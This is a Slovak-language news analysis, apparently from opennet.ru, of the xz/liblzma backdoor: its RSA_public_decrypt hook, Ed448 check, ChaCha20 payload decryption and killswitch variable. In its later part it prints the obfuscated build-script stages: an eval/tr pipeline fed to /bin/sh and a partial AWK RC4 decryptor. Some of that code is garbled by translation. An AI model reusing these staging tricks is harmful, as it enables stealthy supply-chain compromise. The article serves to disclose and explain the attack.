Predbežné výsledky sú k dispozícii z reverzného inžinierstva súboru so škodlivým objektom vloženého do liblzma ako výsledok kampane na zatlačenie zadných vrátok do balíka xz. Zadné vrátka ovplyvňujú iba systémy x86_64 založené na jadre Linuxu a knižnici Glibc C, v ktorej je na sshd aplikovaná ďalšia oprava, ktorá sa spája s knižnicou libsystemd na podporu mechanizmu sd_notify. Spočiatku sa predpokladalo, že zadné vrátka dokážu obísť autentifikáciu sshd a získať prístup do systému cez SSH. Podrobnejšia analýza ukázala, že to tak nie je a zadné vrátka poskytujú možnosť spustiť ľubovoľný kód v systéme bez zanechania akýchkoľvek stôp v protokoloch sshd.
Najmä funkcia RSA_public_decrypt zachytená zadnými vrátkami overuje podpis hostiteľa pomocou pevného kľúča Ed448 a ak je overený úspešne, vykoná kód odoslaný externým hostiteľom pomocou funkcie system() vo fáze predtým, ako proces sshd resetuje privilégiá. Údaje obsahujúce vykonávací kód sa extrahujú z parametra „N“ odovzdaného do funkcie RSA_public_decrypt (pole „n“ zo štruktúry rsa_st obsahujúcej verejný kľúč prenášaný externým hostiteľom), overia sa kontrolným súčtom a dešifrujú sa pomocou preddefinovaného kľúča. ChaCha20 vo fáze pred overením digitálny podpis Ed448.
Ako znak aktivácie backdoor v sshd sa používa štandardný mechanizmus výmeny kľúčov hostiteľa. Backdoor využíva skutočnosť, že certifikáty OpenSSH obsahujú verejný kľúč osoby, ktorá podpis vygenerovala, a odpovedá iba na kľúč pripravený útočníkom a zodpovedajúci preddefinovanému pevnému kľúču Ed448. Ak overenie podpisu verejného kľúča zlyhá alebo ak sa nepotvrdí integrita vykonávacích údajov, zadné vrátka vrátia riadenie štandardným funkciám SSH.
Keďže útočníkov súkromný kľúč nie je známy, nie je možné implementovať overovací kód, ktorý by umožnil cudzím osobám aktivovať zadné vrátka a implementovať skener pre napadnutých hostiteľov v sieti. Výskumníci pripravili skript demonštrujúci techniku nahradenia verejného kľúča ľubovoľným obsahom do certifikátu OpenSSH prenášaného klientom SSH, ktorý bude spracovaný vo funkcii RSA_public_decrypt zachytenej zadným vrátkom.
Výskumníci si tiež všimli prítomnosť štruktúry, ktorá neutralizuje zadné vrátka (killswitch) na lokálnom systéme, ak je pred spustením sshd nastavená premenná prostredia „yolAbejyiejuvnup=Evjtgvsh5okmkAvj“.
Okrem toho si môžeme všimnúť podrobnú analýzu konštrukcií shellu používaných na zamieňanie procesu extrakcie objektového súboru so zadnými vrátkami a jeho nahradenia do knižnice liblzma. Počas zostavovania balíka xz bol spustený kód zo skriptu build-to-host.m4, ktorý našiel archív bad-3-corrupt_lzma2.xz medzi testovacími súbormi, nahradil v ňom niektoré znaky a zmenil ho na neporušený archív. a extrahoval z neho skript shellu. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` … gl_[$1]_config='sed \»r\ n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' gl_path_map='tr «\t \-_» » \t_\-«'
Výsledný skript shellu kúsok po kúsku extrahoval ďalší skript shellu z obsahu archívu good-large_compressed.lzma, pričom preskočil určité sekvencie s príkazmi head a tail a nahradil znaky príkazom tr. ####Dobrý deň#### # tu je niekoľko binárnych bajtov, ale keďže ide o komentár, sú ignorované [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F nespracovaný —lzma1 -dc|/bin/sh ####Svet####
V dôsledku toho bol vygenerovaný pomerne zložitý a objemný skript shellu, ktorý priamo extrahoval súbor so zadnými vrátkami z archívu good-large_compressed.lzma, dešifroval ho a vložil do liblzma. Skript okrem iného obsahoval implementáciu mechanizmu zásuvného modulu, ktorý umožňuje následné dodanie ďalších spustiteľných komponentov umiestnením nových testovacích archívov bez zmeny good-large_compressed.lzma a bad-3-corrupt_lzma2.xz, ale pomocou vyhľadávanie podpisov. Kód obsahoval aj dešifrovač založený na algoritme RC4, implementovaný v jazyku AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed “s/\(.\)/\1\n/g” | LC_ALL=C awk 'BEGIN{FS=»\n»;RS=»\n»;ORS=»»;m=256;for(i=0;i /dev/null 7>&5) && head -c +$W) > liblzma_la-crc0-fast.o || pravda
Zdroj: opennet.ru
